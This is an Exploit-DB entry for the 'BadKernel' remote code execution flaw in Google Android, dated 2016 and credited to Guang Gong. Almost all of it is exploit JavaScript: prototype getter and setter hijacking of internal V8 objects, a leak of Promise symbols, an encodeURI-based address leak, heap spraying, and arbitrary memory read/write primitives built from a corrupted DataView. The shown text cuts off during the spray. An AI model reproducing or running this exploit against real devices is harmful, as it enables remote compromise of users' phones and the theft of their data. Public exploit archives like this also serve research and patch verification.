Exploit-DB #40846
Description: Google Android - 'BadKernel' Remote Code Execution
Type: remote
Platform: android
Date: 2016-11-28
Author: Guang Gong

Exploit:
<!-- author:@oldfresher -->
<html>
<div id="message" style="color: red;"></div>
<script>
function gc(){
    for(var i=0;i<0x200000;i++){
        new Array;
    }
}
function to_hex(num){
    return (num>>>0).toString(16);
}
function log (){
    var str = "<h3>";
    for(var i=0;i<arguments.length;i++){
        str+=arguments[i];
    }
    str += "</h3>";
    console.log(str);
    document.write(str);
}

function set_access_address(address){
    controllerdv.setUint32(3*4,address,true);
    controllerdv.setUint32(4*4,0x40000000,true);
}

function get_dateview(address){
    set_access_address(address);
    if(this.controlleedv === undefined){
        this.controlleedv = new DataView(controlee);
    }
    return this.controlleedv;
}

function read_uint32(from_address){
    return get_dateview(from_address).getUint32(0,true);
}

function write_uint32(to_address,writed_value){
    get_dateview(to_address).setUint32(0,writed_value,true);
}
function dumpHex(address){
    str = "\n"
    for(var i=0;i<20;i++){
        str+=read_uint32(address+i*4).toString(16)+" ";
        if(i%4==3)str+="\n";
    }
    log(str);
}

var kMessages;
Object.prototype.__defineGetter__("observe_accept_invalid",function(){
    log("called");
    kMessages=this});
try{Object.observe({},function(){},1)}catch(e){}
delete Object.prototype["observe_accept_invalid"];


kMessages["strict_read_only_property"].push("%3");
kMessages["object_not_extensible"].push("%3");
var args = null;
Array.prototype.__defineGetter__(3,function(){
    log("3 get called");
    args=this})

var p = Promise.defer();
Object.freeze(p.promise)
try{p.reject(1)}catch(e){}

var promiseStatusSymbole = args[0];


var flag = true;
Object.prototype.__defineSetter__(promiseStatusSymbole,function(){
    log("set status called");
    if(flag){Object.freeze(this)}})
try{new Promise(function(){})}catch(e){}
var promiseValueSymbol = args[0];
flag=false;
delete Object.prototype[promiseStatusSymbole];

flag = true;
Object.prototype.__defineSetter__(promiseValueSymbol,function(){
    log("set status called");
    if(flag){Object.freeze(this)}})
try{new Promise(function(){})}catch(e){}
var promiseOnResolveSymbol = args[0];
flag=false;
delete Object.prototype[promiseValueSymbol];
delete Array.prototype[3];
kMessages["strict_read_only_property"].pop();
kMessages["object_not_extensible"].pop();


var pro = new Promise(function(){});
var onResolve=pro[promiseOnResolveSymbol];
var InternalArray = Object.getPrototypeOf(onResolve)

var innerProto = {__proto__:null}


function toHex(str) {
	var hex = '';
	for(var i=0;i<str.length;i++) {
		var temp = ("0"+ str.charCodeAt(i).toString(16)).substr(-2);
		hex += temp;if(i%4==3)hex += ' ';
	}
	return hex;
}
var overwrite;

/*
0x5a0df8e8: 0x5a0df429  0x9f808531  0x00000003  0x00000020
0x5a0df8f8: 0x61616161  0x61616161  0x61616161  0x9f616161
0x5a0df908: 0x9f80af89  0x9fa08089  0x9fa08089  0x9ff9a000
0x5a0df918: 0x00004000  0x00000000  0x9ed38931  0x9fb08091
0x5a0df928: 0x00000000  0x00000000  0x9f808121  0x00000100
0x5a0df938: 0x000000c2  0x000000c2  0x000000c2  0x000000c2
*/
var ga;

Object.prototype.__defineSetter__.call(innerProto,0, function(val){
        log("set 0 called");/*innerArray=this;*/
        //set hole
        //Object.defineProperty(this,0,{value:val});
        }
        )
var steps="leaking";
var controller=null;
Object.prototype.__defineGetter__.call(innerProto,0, function(){
        if(steps==="leaking"){
            this.length=1;
        }else{
            controller= new ArrayBuffer(0x1000);
            disableHook();
            steps="leaking";
            var abStr = leakArrayBuffer();
            log("internal Array length is "+this.length);
            var oldLength = this.length;
            for(var i=0;i<abStr.length;i++){
                this[i+oldLength]=abStr.charCodeAt(i);
            }
            log(JSON.stringify(this));
        }
        log("get--- 0 called");
        return 0x48;
}
);
function enalbeHook(){
    Object.setPrototypeOf(InternalArray,innerProto)
}

function disableHook(){
    Object.setPrototypeOf(InternalArray,null);
}
function str2dv(str){
    var ab = new ArrayBuffer(str.length);
    var dv = new DataView(ab);
    for(var i=0;i<str.length;i++){
        dv.setUint8(i,str.charCodeAt(i));
    }
    return dv;
}
function leakArrayBuffer(){
    var encoded = "aaaaaaaa";
    for(var i=0;i<7;i++)encoded+=encoded;
    log("string length is "+encoded.length);
    enalbeHook();
    var encodedResult = encodeURI(encoded);
    disableHook();
    //find modified ArrayBuffer
    log(toHex(encodedResult));
    var pattern = String.fromCharCode(0x80,0x80,0x80,0,0x80,0x80,0x80,0,0x80,0x80,0x80,0);
    var index = encodedResult.indexOf(pattern,36);
    if(index==-1){
        throw "find modified array buffer failed";
    }
    var str=encodedResult.substr(index-4,4);
    controleeAddress=String.fromCharCode(str.charCodeAt(0)-1)+str.substr(1,3);

    //find sprayed ArrayBuffer
    pattern = String.fromCharCode(0x20,0,0,0,0,0,0,0);
    index = encodedResult.indexOf(pattern,36);
    log(toHex(encodedResult));
    if(index==-1){
        throw "find array buffer failed";
    }
    log("find array bufer at "+index);
    var abStr = encodedResult.substr(index-16,12);
    abStr += controleeAddress;
    controleeAddress=str2dv(controleeAddress).getUint32(0,true);
    abStr += String.fromCharCode(0,0,0,2);
    log(toHex(abStr));
    return abStr;
}
steps="overwrite";
//controller modify controlee
var controlee = new ArrayBuffer(0x10000);
controlee[0]={};//防止map改变
controlee[1]={};//防止map改变
controlee[2]={};//防止map改变
//spray

for(var i=0;i<0x200000/16;i++){new Array}//move controlee to old space
for(var i=0;i<0xc000;i++){
    var ab=new ArrayBuffer(0x10);
    ab[0]=controlee;
    ab[1]=0x404040;
    a